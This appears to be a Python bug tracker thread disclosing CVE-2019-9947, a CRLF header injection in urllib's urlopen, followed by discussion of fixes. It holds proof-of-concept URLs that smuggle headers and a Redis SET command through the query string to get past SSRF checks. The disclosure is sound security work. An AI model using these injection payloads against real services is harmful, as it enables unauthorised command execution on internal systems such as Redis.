this patch can also be broken by path and query string.
http://www.cvedetails.com/cve/CVE-2016-5699/
https://bugs.python.org/issue30458

can succeed to inject HTTP header and be more critical by bypassing illegal header check

# Vulnerability PoC

>> import urllib.request

>>> urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
or 
>>> urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')

nc -lv 1234
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:1234
User-Agent: Python-urllib/3.8
Connection: close

we can inject headers completely.

## Redis
redis also be affected by bypassing SSRF protection checking header "host:" with this injection.

>>> urllib2.urlopen('http://127.0.0.1:6379/?q=HTTP/1.1\r\nSET VULN POC\r\nHeader2:\r\n').read()
'$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with: `HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning with: `identity`, \r\n'

$ redis-cli
127.0.0.1:6379> GET VULN
"POC"

# Root Cause
cc54c1c

• _hostprog = re.compile('^//([^/?])(.*)$')
  + _hostprog = re.compile('//([^/#?])(.*)', re.DOTALL)

It could succeed to parse host because of re.DOTALL
re.DOTALL gave the opportunity of injection.

this version of the commit was 3.4.7+

this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it.
also, python 2.7.15 can be affected. I don't know which python2 version is affected because not test.

maybe after the commit, all of higher versions can trigger this vulnerability.

# Conclusion
this patch provides more critical vulnerability to bypass the illegal header check.
and we can inject HTTP header completely in urlopen() from this patch.

(Although this vulnerability is old on 12 Jul 2017, I don't know why no one has submitted issue still now XDD)

Hi all,

Not sure for the right way for this fix but here is a PR. I am interested by your feedback.

Thank you

Sorry, I'm late.
My review is here. #11768

Maybe related to Victor's "Issue 1" described in bpo-32085. That is also a security bug about CRLF in the URL's path, but was opened before bpo-30500 was opened and the code changed, so I'm not sure if it is the same as this or not.

Also there is bpo-13359, a proposal to automatically percent-encode invalid URLs. For a security fix, I'm not sure but it might be safer to raise an exception, rather than rewriting the invalid URL to a valid one.

Yes, I thought so. before the commit version i said, the previous version(3.4.6), raised an exception(no host given) in urlopen failing parsing host.
If this patch wants to be same as the previous version, It is right to raise an exception like the previous version.
I thought there is no exact answer, only depends on Python features.

According to https://bugzilla.redhat.com/show_bug.cgi?id=1695572, the CVE-2019-9947 has been assigned to this issue.

my fix proposed in bpo-30458 fixes this issue.

i do not think this one deserved its own CVE; at least https://nvd.nist.gov/vuln/detail/CVE-2019-9947's current text also points to the other one.